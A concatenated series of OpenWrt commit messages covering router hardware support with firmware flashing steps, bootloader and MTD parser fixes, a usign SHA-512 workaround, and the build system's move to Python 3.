Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This adds support for uImage used by OpenWrt kernel loader.
The parser searches for uImage header at flash eraseblock boundary
and it might attempt to split any firmware with loader, therefore
this entry doesn't have MTD_PARSER_TYPE_FIRMWARE so that this parser
is only used when explicitly defined in dts.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Hardware spec of DIR-842 C3:
SoC: QCA9563
DRAM: 128MB DDR2
Flash: 16MB SPI-NOR
Switch: QCA8337N
WiFi 5.8GHz: QCA9888
WiFi 2.4Ghz: QCA9563
USB: circuit onboard, but components are not soldered
Flash instructions:
1. Upgrade the factory.bin through the factory web interface or
the u-boot failsafe interface.
The firmware will boot up correctly for the first time.
Do not power off the device after OpenWrt has booted.
Otherwise the u-boot will enter failsafe mode as the checksum
of the firmware has been changed.
2. Upgrade the sysupgrade.bin in OpenWrt.
After upgrading completes the u-boot won't complain about the
firmware checksum and it's OK to use now.
3. If you powered off the device before upgrading the sysupgrade.bin,
just upgrade the factory.bin through the u-boot failsafe interface
and then goto step 2.
Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com>
According to detective grep, with this patch all devices should
be labelled "TP-Link" consistently.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This seems to be identical to CPE210 v1 despite having removable
antennas.
Specifications:
* SoC: Qualcomm Atheros AR9344 (560 MHz)
* RAM: 64MB
* Storage: 8 MB
* Wireless: 2.4GHz N based built into SoC 2x2
* Ethernet: 2x 100/10 Mbps, integrated into SoC, 24V POE IN
Installation:
Flash factory image through stock firmware WEB UI
or through TFTP:
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP address:192.168.0.254
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link CPE510-v1 is an outdoor wireless CPE for 5 GHz with
two Ethernet ports based on Atheros AR9334
Specifications:
- 560/450/225 MHz (CPU/DDR/AHB)
- 2x 10/100 Mbps Ethernet, 1x PoE-in, 1x PoE-out
- 64 MB of DDR2 RAM
- 8 MB of SPI-NOR Flash
- 2T2R 5 GHz
- 13 dBi built-in antenna
- Power, LAN0, LAN1 green LEDs
- 4x green RSSI LEDs
Flash factory image through stock firmware WEB UI
or through TFTP:
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP address:192.168.0.254
Based on the work of Paul Wassi <p.wassi@gmx.at>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
* SoC: Qualcomm Atheros AR9344 (560 MHz)
* RAM: 64MB
* Storage: 8 MB
* Wireless: 2.4GHz N based built into SoC 2x2
* Ethernet: 2x 100/10 Mbps, integrated into SoC, 24V POE IN
Installation:
Flash factory image through stock firmware WEB UI
or through TFTP:
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP address:192.168.0.254
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The loader-okli is shared by several TP-Link CPExxx devices, so
give it its own definition to prevent too much code duplication.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This puts some common code into a new shared DTSI. Common nodes
are chosen so that the new DTSI can be used for CPE210 v1, too.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is a preparation for ath79 support of the CPE210/CPE510 v1.
Kernel size is chosen equal to the latest update for CPE610 v1.
This also updates the partition size in ar71xx target, so code
remains consistent if someone looks up the device. Since CPE210,
CPE510, WBS210 and WBS510 (all v1) share the same partition
layout definition, and are on deprecated target anyway, this
changes them all at once.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since usign miscalculates SHA-512 digests for input sizes of exactly
64 + N * 128 + 110 or 64 + N * 128 + 111 bytes, we need to apply some
white space padding to avoid triggering the hashing edge case.
While usign itself has been fixed already, there is still many firmwares
in the wild which use broken usign versions to verify current package
indexes so we'll need to carry this workaround in the forseeable future.
Ref: https://forum.openwrt.org/t/signature-check-failed/41945
Ref: https://git.openwrt.org/5a52b379902471cef495687547c7b568142f66d2
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Introduce a new option CONFIG_SIGNATURE_CHECK which defaults to the value
of CONFIG_SIGNED_PACKAGES and thus is enabled by default.
This option is needed to support building target opkg with enabled
signature verification while having the signed package lists disabled.
Our buildbots currently disable package signing globally in the
buildroot and SDK to avoid the need to ship private signing keys to
the build workers and to prevent the triggering of random key generation
on the worker nodes since package signing happens off-line on the master
nodes.
As unintended side-effect, updated opkg packages will get built with
disabled signature verification, hence the need for a new override option.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This update fixes usign signature verification on files with certain
file sizes triggering a bug in the shipped SHA-512 implementation.
5a52b37 sha512: fix bad hardcoded constant in sha512_final()
3e6648b README: replace unicode character
716c3f2 README: add reference to OpenBSD signify
86d3668 README: provide reference for ed25519 algorithm
939ec35 usign: main.c: describe necessary arguments for -G
Ref: https://forum.openwrt.org/t/signature-check-failed/41945
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This parser's matching function appears to be too generic as it matches
e.g. Buffalo WZR-HP-G300NH. That results in incorrect parts parsing.
Luckily this parser is needed by Fon FON2601 only which uses DT-based
ramips target. It means we can depend on mtd subsystem matching of
"fonfxc,uimage" string.
That said triggering this parser based on the "firmware" (or whatever
MTD_SPLIT_FIRMWARE_NAME is) partiiton name is not needed. It can be
dropped which will automatically fix the Buffalo WZR-HP-G300NH case.
Fixes: a1c6a316d2 ("ramips: add support for Fon FON2601")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This reverts commit e92a14709d.
mtdsplit_uimage_parse_fonfxc() gets called in two situations:
1) It was /requested/ from DT using "fonfxc,uimage" compatible string
2) It was called by parsing code after finding "firmware"
(MTD_SPLIT_FIRMWARE_NAME) due to the parser's type
Code added in the /fix/ commit basically just disabled the second case.
If that's the real goal it could be achieved by simply dropping type
MTD_PARSER_TYPE_FIRMWARE. It may however require another solution as
it's possible that some non-DT target actually needs fonfxc uImage
parsing.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Fix build breakage as upstream has removed implicit include of
sys/sysmacros.h from sys/types.h:
remove implicit include of sys/sysmacros.h from sys/types.h
this reverts commit f552c792c7ce5a560f214e1104d93ee5b0833967, which
exposed the sysmacros.h macros (device major/minor calculations) for
BSD and GNU profiles to mimic an unintentional glibc behavior some
code depended on. glibc has deprecated and since removed them as the
resolution to bug #19239, so it makes no sense for us to keep this
behavior. affected code should all have been fixed by now, and if it's
not yet fixed it needs to be for use with modern glibc anyway.
Ref: https://git.musl-libc.org/cgit/musl/commit/include/sys/types.h?id=a31a30a0076c284133c0f4dfa32b8b37883ac930
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Starting with version 1.1.15, musl supports powerpc64.
There are no known users of powerpc64 yet.
This is effectively a revert of 0de93311e1
Signed-off-by: Rosen Penev <rosenp@gmail.com>
These legacy bindings were removed long time ago from dts, so there's no
need to keep support for them.
Spotted-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
GCC needs the kernel headers to compile.
Some GCC file includes asm/unistd.h which is provided by the kernel headers.
Normally the kernel headers build is very fast and ready before the gcc uses
it, but if it clones the kernel from a slow git repository it takes longer
and then it could be that the gcc already wants to use the kernel headers
before they are available. This patch fixes this problem by adding the
missing dependency.
Signed-off-by: Hauke Mehrtens <hauke.mehrtens@intel.com>
This commit fixes regression on Linksys WRT1900 (Mamba) where this device
doesn't have USB 3.0 controller integrated in SoC, instead it has Etron
EJ168 connected to PCIe lane. Previously enabled in kernel 4.4 and 4.9,
was lost in transition to 4.14.
Fixes: 4ccad92 ("mvebu: Add support for kernel 4.14")
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This is already enabled as kernel built-in feature in mvebu target and
none other target will use it.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This changes the default PKG_BUILD_DIR to take BUILD_VARIANT into
account (if set), so that packages do not need to manually override
PKG_BUILD_DIR just to handle variants.
This also updates most base packages with variants to use the updated
default PKG_BUILD_DIR.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
WLAN0 and the unused LED are currently swapped. Fix this, so the LED
behavior matches the other OCEDo devices.
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds support for several TP-Link devices based on TP9343
("a QCA9561 without PCIe and USB"):
- TL-WR940N v3
- TL-WR940N v4
- TL-WR941ND v6
The devices are only different concerning LEDs and MAC address
assignment.
All TL-WR940 are with non-detachable antennas (N), all
TL-WR941 devices are with detachable antennas (ND).
Specification:
- 750 MHz CPU
- 32 MB of RAM
- 4 MB of FLASH
- 2.4 GHz WiFi
- 4x 10/100 Mbps Ethernet
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to * (see below)
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
* TFTP image names:
940 v3: wr941ndv6_tp_recovery.bin
940 v4: wr940nv4_tp_recovery.bin
941 v6: wr941ndv6_tp_recovery.bin
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
379c096 Release version 5.2.
2bce6d9 ethtool: Add 100BaseT1 and 1000BaseT1 link modes
67ffbf5 ethtool: sync ethtool-copy.h with linux-next from 30/05/2019
687152b ethtool.spec: Use standard file location macros
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Hardware spec of DIR-842 C1:
SoC: QCA9563
DRAM: 128MB DDR2
Flash: 16MB SPI-NOR
Switch: QCA8337N
WiFi 5.8GHz: QCA9888
WiFi 2.4Ghz: QCA9563
USB: circuit onboard, but components are not soldered
Flash instructions:
1. Upgrade the factory.bin through the factory web interface or
the u-boot failsafe interface.
The firmware will boot up correctly for the first time.
Do not power off the device after OpenWrt has booted.
Otherwise the u-boot will enter failsafe mode as the checksum
of the firmware has been changed.
2. Upgrade the sysupgrade.bin in OpenWrt.
After upgrading completes the u-boot won't complain about the
firmware checksum and it's OK to use now.
3. If you powered off the device before upgrading the sysupgrade.bin,
just upgrade the factory.bin through the u-boot failsafe interface
and then goto step 2.
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
[fix whitespace issues]
Signed-off-by: David Bauer <mail@david-bauer.net>
This router has the same hardware as TP-LINK TL-WR841N/ND v11 (same
FCC ID, same TFTP image name...).
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to wr841nv11_tp_recovery.bin
(it's really v11, not v12)
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The TL-WR841N/ND v10 is mostly identical to the v9. Apart from some minor
changes, it contains a newer revision of the QCA9533 SoC and the CPU clock
is significantly higher.
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to wr841nv10_tp_recovery.bin
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In commit 6c937df749 ("ar71xx: wpj531: fix GPIOs for LED") wrong GPIO
13 for SIG1/RSS1 LED was commited, the correct GPIO number for this LED
is 12.
It's listed in "Hardware Guide - wpj531 7A06 (02/07/2019)" as GPIO12/RSS1
on the LED header and same GPIO 12 is used in the vendor's SDK as well.
Fixes: 6c937df749 ("ar71xx: wpj531: fix GPIOs for LED")
Signed-off-by: Leon M. George <leon@georgemail.eu>
[commit subject/message facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
We cannot distinguish between fonfxc uImage and generic uImage because
fonfxc uImage header is almost same as generic uImage, except padding
length after image name.
The fonfxc uImage parser is available when specifying directly with DT
compatible property. So this patch adds check if the partition DT node
is compatible with the parser.
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=2413
Fixes: a1c6a316d2 ("ramips: add support for Fon FON2601")
Signed-off-by: NOGUCHI Hiroshi <drvlabo@gmail.com>
[commit light touches and removed C code comment]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Fixes following issue reported by Coverity scan:
*** CID 1452085: Security best practices violations (TOCTOU)
/tools/firmware-utils/src/uimage_padhdr.c: 100 in main()
94
95 if (!infname || !outfname) {
96 usage(argv[0]);
97 exit(1);
98 }
99
>>> CID 1452085: Security best practices violations (TOCTOU)
>>> Calling function "stat" to perform check on "infname".
100 if (stat(infname, &statbuf) < 0) {
Fixes: a1c6a316d2 ("ramips: add support for Fon FON2601")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
When CONFIG_ARM64_MODULE_PLTS=y, arch/arm64/kernel/module.lds is
required to build cryptodev-linux. This updates the sdk to include this
file.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
wireless-regdb fails to build if there is python2 installed from package
feeds, as staging_dir/hostpkg/bin/python is python2 and
staging_dir/hostpkg/bin takes precedence over staging_dir/host/bin
(proper place with python -> python3 symlink) which leads to the build
failure of wireless-regdb, so this patch makes it explicit which python
should be used.
Reported-by: Hauke Mehrtens <hauke@hauke-m.de>
Tested-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Tested-by: Russell Senior <russell@personaltelco.net>
Tested-by: Lucian Cristian <lucian.cristian@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The DEVICE_TITLE introduced in 66458c49aa ("mediatek: add
v4.19 support") is mistyped. Fix it.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The [devm_]mdiobus_alloc[_size()] functions are creating
the array of interrupt numbers as well as initializing
them to POLLING.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The MDIO node will become more important in the future.
Hence, this patch adds DT labels to make the properties
inside the various subnodes more accessible.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Bump the target to v4.19. Add a patch with additional eth driver
fixes/features that MTK provided aswell as the driver for the new mt7530
switch.
Signed-off-by: John Crispin <john@phrozen.org>
The Aerohive HiveAP 121 has the wrong PLL value set for Gigabit speeds,
leading to packet-loss. 10M and 100M work fine.
This commit sets the Gigabit Ethernet PLL value to the correct value,
fixing packet loss.
Confirmed with iperf and floodping.
Signed-off-by: David Bauer <mail@david-bauer.net>
commit e09da0169a ("ar71xx: fix Mikrotik board detection")
was generated based on testing a rb-912 board, on which detection failed.
Testing on more hardware shows something fun:
machine : MikroTik RouterBOARD 922UAGS-5HPacD
machine : Mikrotik RouterBOARD 912UAG-5HPnD
Both lowercase and uppercase are used.
So ensure we support both now ..
Fixes: e09da0169a ("ar71xx: fix Mikrotik board detection")
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
While flashing lots of RB2011 devices, I noticed that
some of them refused to boot properly, failing over the NAND parameters.
Checking in detail shows that some device seem to use another NAND flash
which only support standard 2048-byte pages, without 512-byte subpage support.
This commit disables usage of these small subpage completely.
Advantages:
- Both NAND's with(out) subpage support are working now
- The nand speed increases a bit (measured roughly 1%) in typical usecases
Disadvantages:
- The maximum storage capacity decreases by ~0.2%
as small changes can consume a full page (2048 bytes) now.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
new features:
- riscv64 port
- configure now allows customizing AR and RANLIB vars
- header-level support for new linux features in 5.1
major internal changes:
- removed extern __syscall; syscall header code is now fully self-contained
performance:
- new math library implementation for log/exp/pow
- aarch64 dynamic tlsdesc function is streamlined
compatibility & conformance:
- O_TTY_INIT is now defined
- sys/types.h no longer pollutes namespace with sys/sysmacros.h in any profile
- powerpc asm is now compatible with clang internal assembler
changes for new POSIX interpretations:
- fgetwc now sets stream error indicator on encoding errors
- fmemopen no longer rejects 0 size
bugs fixed:
- static TLS for shared libraries was allocated wrong on "Variant I" archs
- crash in dladdr reading through uninitialized pointer on non-match
- sigaltstack wrongly errored out on invalid ss_size when doing SS_DISABLE
- getdents function misbehaved with buffer length larger than INT_MAX
- set*id could deadlock after fork from multithreaded process
arch-specfic bugs fixed:
- s390x SO_PEERSEC definition was wrong
- passing of 64-bit syscall arguments was broken on microblaze
- posix_fadvise was broken on mips due to missing 7-arg syscall support
- vrregset_t layout and member naming was wrong on powerpc64
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
- add uart rom script address in header of sdma firmware to support
the uart driver of latest kernel working well while old firmware
assume ram script used for uart driver as NXP internal legacy
kernel.
- add multi-fifo SAI/PDM scripts.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
This commit ports support for the ALFA Network AP121F, a pocket-size
router with 1 Ethernet and 2.4 GHz WiFi based on the AR9331 SoC, to the
ath79 target (it was already supported in ar71xx; see commit 0c6165d2
for more details).
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[pepe2k@gmail.com: fixed GPIO polarity, included USB support, changed
DTS nodes order, moved WLAN LED trigger define to DTS, made U-Boot env
partition writable]
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
New Docker based buildslaves install just bare minimum of packages, thus
not having bsdmainutils package installed which provides `hexdump`
utility, leading to the following build breakage on buildbots:
ubinize-image.sh: 12: /builder/scripts/ubinize-image.sh: hexdump: not found
So this patch simply replaces `hexdump` with `od` utility provided by
coreutils package, which should be likely available.
Co-authored-by: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This commit selects wpad-basic for the FRITZ!Box 7312 and 7412 as
wpad-mini is only selected on boards with small flash.
Signed-off-by: Johann Neuhauser <johann@it-neuhauser.de>
[add short description]
Signed-off-by: David Bauer <mail@david-bauer.net>
Fix a typo in the machine type being extracted from /proc/cpuinfo
which causes all Mikrotik board to be undetected properly.
This lead to sysupgrade issues and probably some others too.
Fixes: acf2b6c888 ("ar71xx: base-files: fix board detect on new MikroTik devices")
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Since the switch to Python 3 build fails if CONFIG_USE_MKLIBS is set
("Strip unnecessary functions from libraries" in menuconfig) as
mklibs hasn't been converted to run on Python 3.
* update to most recent upstream version which brings some
reproducibility fixes
* converted to Python 3 using 2to3
* fixed mixed tab/spaces indentation
* fixed use of string.* functions
* some more minor fixes to make Python 3 happy
Fixes commit 19938c8de7 ("build: switch to Python 3")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
- make create_pbl and byte_swap as host tools
- fix a bug that maybe use the cross compiler
to compile create_pbl and byte_swap:
# -a option appends the image for Chassis 3 devices in case of non secure boot
aarch64-openwrt-linux-musl-gcc -Wall -Werror -pedantic -std=c99 -O2
-DVERSION=v1.5(release):reboot-10604-ge9216b3336 -D_GNU_SOURCE -D_XOPEN_SOURCE=700
-c -o create_pbl.o create_pbl.c
cc1: note: someone does not honour COPTS correctly, passed 0 times
LD create_pbl
/usr/bin/ld: create_pbl.o: Relocations in generic ELF (EM: 183)
/usr/bin/ld: create_pbl.o: Relocations in generic ELF (EM: 183)
/usr/bin/ld: create_pbl.o: Relocations in generic ELF (EM: 183)
create_pbl.o: error adding symbols: File in wrong format
collect2: error: ld returned 1 exit status
Makefile:43: recipe for target create_pbl failed
make[4]: *** [create_pbl] Error 1
plat/nxp/tools/pbl_ch2.mk:45: recipe for target pbl failed
make[3]: *** [pbl] Error 2
- add tfa- prefix to all tools in order to avoid future clashes with
other toolnames
Signed-off-by: Biwen Li <biwen.li@nxp.com>
[added missing HOST_CFLAGS, added tfa- prefix to the tools]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
I'm trying to create a package for libgpiod, which uses
AC_CONFIG_AUX_DIR macro, which is probably leading to the following
configure error:
autoreconf: running: /openwrt.git/staging_dir/host/bin/libtoolize --force
OpenWrt-libtoolize: putting auxiliary files in AC_CONFIG_AUX_DIR, `autostuff'.
OpenWrt-libtoolize: linking file `autostuff/ltmain.sh'
OpenWrt-libtoolize: putting macros in `m4'.
...
configure: error: cannot find install-sh, install.sh, or shtool in autostuff "."/autostuff
>From the build output it's clear, that libtoolize isn't installing
install-sh symlink, because libtoolize would install install-sh only if
it's being run with --install parameter. Corresponding part in
libtoolize:
if $opt_install; then
func_config_update config.guess \
"$pkgdatadir/config" "$auxdir" pkgconfig_header
func_config_update config.sub \
"$pkgdatadir/config" "$auxdir" pkgconfig_header
func_install_update install-sh \
"$pkgdatadir/config" "$auxdir" pkgconfig_header
fi
func_ltmain_update ltmain.sh \
"$pkgdatadir/config" "$auxdir" pkgconfig_header
Adding --install parameter to libtoolize fixes this build issue:
autoreconf: running: /openwrt.git/staging_dir/host/bin/libtoolize --install --force
OpenWrt-libtoolize: putting auxiliary files in AC_CONFIG_AUX_DIR, `autostuff'.
OpenWrt-libtoolize: linking file `autostuff/config.guess'
OpenWrt-libtoolize: linking file `autostuff/config.sub'
OpenWrt-libtoolize: linking file `autostuff/install-sh'
OpenWrt-libtoolize: linking file `autostuff/ltmain.sh'
OpenWrt-libtoolize: putting macros in `m4'.
Cc: Felix Fietkau <nbd@nbd.name>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Fixes build issues on a python3 host (issues with the print statement
formatting in the current build).
Includes 100-regdb-write-firmware-file-format-version-code-20.patch and
other fixes.
Closes bugs.openwrt.org/index.php?do=details&task_id=1605.
Uses the tarball as requested.
Signed-off-by: Zachary Riedlshah <git@zacharyrs.me>
When bumping buildroot to Python 3, we need to assure, that Python
symlink in staging bin directory points to Python >= 3.5 as well.
We can't rely completly just on SetupHostCommand as its executed only in
cases when the $(STAGING_DIR_HOST)/bin/python doesn't already exist, so
we need to remove it before running SetupHostCommand.
Acked-by: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This patch switches Python used in buildroot to Python 3 as Python 2.x
series is going to be EOL relatively soon[1].
"Being the last of the Python 2.x series, 2.7 will have an extended
period of maintenance. Specifically, 2.7 will receive bugfix support
until January 1, 2020. After the last release, 2.7 will receive no
support."
It seems like Python 3 is going to be needed in order to support Meson
build system which has gained some traction recently.
Build tested on following targets:
ath79/generic
imx6/generic
ipq40xx/generic
lantiq/xway
layerscape/armv7 (broken)
layerscape/armv8_32b (broken)
layerscape/armv8_64b (broken)
mvebu/cortexa72
ramips/mt7621
ramips/mt7620
sunxi/cortexa7
x86/64
Layerscape targets are unfortunately left broken as their ls-rcw
firmware package uses Python 2 and converting it to Python 3 would take
more then reasoanble amount of time (I've tried to fix it already) and
would be better fixed by someone who can even run test it.
Run tested on ath79 (Archer C7 v5), ipq40xx (nbg6617) and x86_64 (QEMU
and apu2).
1. https://www.python.org/dev/peps/pep-0373/
Ref: PR#1937
Cc: Yangbo Lu <yangbo.lu@nxp.com>
Cc: Mathew McBride <matt@traverse.com.au>
Acked-by: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Python 2.7 will not be maintained past 2020. Let's convert
to python3 for rcw. Also drop byte swapping since TF-A had
been already used which handled byte swapping instead.
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Build tested on ath79 with following packages from packages feed which
build depends on scons. None of them build anymore as it seems, that the
SConscripts are written for Python2.
* packages/net/iotivity (KO, doesn't build even with latest 1.3.1 release)
SyntaxError: invalid syntax
File "/openwrt/build_dir/target-mips_24kc_musl/iotivity-1.2.1/build_common/SConscript", line 40
print "\nError: Current system (%s) isn't supported\n" % host
LookupError: unknown encoding: string_escape:
File "/home/petr/testing/openwrt/build_dir/target-mips_24kc_musl/iotivity-1.3.1/SConstruct", line 28:
SConscript('build_common/SConscript')
* packages/net/smartsnmpd (KO, seems dead, no commit since 2015):
SyntaxError: Missing parentheses in call to 'print'
File "/openwrt/build_dir/target-mips_24kc_musl/smartsnmpd-2014-08-13/SConstruct", line 156
print "Can't find liblua or liblua5.1!"
* packages/utils/gpsd (KO, doesn't build even with latest 3.18.1 release):
AttributeError: 'list' object has no attribute 'keys':
File "/openwrt/build_dir/target-mips_24kc_musl/gpsd-3.18.1/SConstruct", line 1758:
all_manpages = list(base_manpages.keys()) + list(python_manpages.keys())
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The lines-initial-states property was an early attempt to set the latch
bit of the shift register on driver probe. It is not implemented in the
driver and was rejected upstream. The latch bit was always set by a GPIO
hog, so this property is safe to drop.
Signed-off-by: David Bauer <mail@david-bauer.net>
There's an empty case in 02_network introduced by last commit. Drop it.
Fixes: ee650ba46c ("ramips: remove needless setting of lan_mac to eth0 in 02_network")
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This removes superfluous lines like
lan_mac=$(cat /sys/class/net/eth0/address)
Since lan_mac only sets the MAC address for eth0.1, these lines
can be safely removed as the address will be inherited from eth0
anyway.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The vast majority of devices labels "factory" partition with lower
case. Convert the small fraction with capital letter to that and
merge another case in 02_network.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This just merges some duplicate definitions and consolidates lines.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Chuanhong Guo <gch981213@gmail.com> [merge duplicated
cases for phicomm k2p]
This cosmetical patch is just meant to make comparing/checking
IMAGE_SIZE values easier.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There are frequent examples of the ralink_default_fw_size_xxx
variables being used to "roughly" set flash size without caring
about the actual size of the firmware partition.
To discourage this behavior, this patch removes the variables and
just sets IMAGE_SIZE by its numeric value for each target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently, ramips target defines 0x7b0000 as default IMAGE_SIZE
for all devices in ramips target, i.e. this will be set if a
device does not specify IMAGE_SIZE itself.
From 92 devices using that default due to a "missing" IMAGE_SIZE,
14 were incorrect by a small amount (i.e. still "8M" flash) and
12 were completely off ("16M", "4M", ...).
This patch thus removes the _default_ IMAGE_SIZE and defines
IMAGE_SIZE for each device individually. This should indicate to
people supporting new devices that this parameter has to be cared
about.
For the present code, this patch is cosmetical.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes IMAGE_SIZE for all devices based on the partition size
given in DTS:
DEVICE *.MK *.DTS VERDICT
airlink101_ar670w (4M) 0x3c0000 wrong
airlink101_ar725w - 0x3B0000 wrong
asus_rt-n15 (4M) 0x3b0000
belkin_f5d8235-v1 7744k 0x7b0000 wrong
buffalo_wli-tx4-ag300n (4M) 0x3b0000
buffalo_wzr-agl300nh (4M) 0x3b0000
dlink_dap-1522-a1 3801088 0x3a0000
ralink_v11st-fe (4M) 0x003b0000
asus_rt-n56u - 0x007b0000 default
belkin_f9k1109v1 7224k 0x7a0000 wrong
dlink_dir-645 - 0x7b0000 default
edimax_br-6475nd 7744k 0x00790000
loewe_wmdr-143n - 0x7b0000 default
omnima_hpm 16064k 0x00fb0000
samsung_cy-swr1100 - 0x7b0000 default
sitecom_wlr-6000 7244k 0x713000
trendnet_tew-691gr - 0x007b0000 default
trendnet_tew-692gr - 0x007b0000 default
No verdict means that the device is correctly set.
Legend:
( ): Value is set via ralink_default_fw_size_xxM
[ ]: Value is derived from parent definition
- : Value is not set and derived from default definition
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In ramips, there are the following predefined values for IMAGE_SIZE
ralink_default_fw_size_4M 3866624 3776k 0x3B0000
ralink_default_fw_size_8M 8060928 7872k 0x7B0000
ralink_default_fw_size_16M 16121856 15744k 0xF60000
ralink_default_fw_size_32M 33226752 32448k 0x1FB0000
Out of those, the "16M" value is obviously odd, as it provides more
room for the remaining partitions than the tree others.
Of the devices in all subtargets, there are actually > 50 that have
a firmware partition with 0xFB0000 size, while only 5 (!) have
0xF60000. From the former, many are set to
ralink_default_fw_size_16M anyway, although it is wrong at the
present point.
Consequently, it makes sense to change ralink_default_fw_size_16M
to 0xFB0000, and to update IMAGE_SIZE for the 5 devices with
0xF60000.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
allnet_all0256n-4m, tenda_w150m and unbranded_wr512-3gn-4m have
their firmware partition set to reg = <0x50000 0x3c8000>.
However, based on the 4MB flash, the size should be 0x3b0000.
After some research in the target's history, it looks like the
changed size has been a mistake when transferring device
partitions from Makefile to DTS in 770b28f146.
This patch changes the named three devices back to 0x3b0000.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like most mt7621 boards, Phicomm K2P stores LAN/WAN mac addresses
at 0xe000/0xe006 of factory partition.
Phicomm uses lan_mac-1 as wan_mac, while our default case in 02_network
uses lan_mac+1.
Add a special case reading lan/wan mac address for Phicomm K2P.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Backport upstream patches pre 2.81rc for testing purposes.
Let's see what falls out!
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
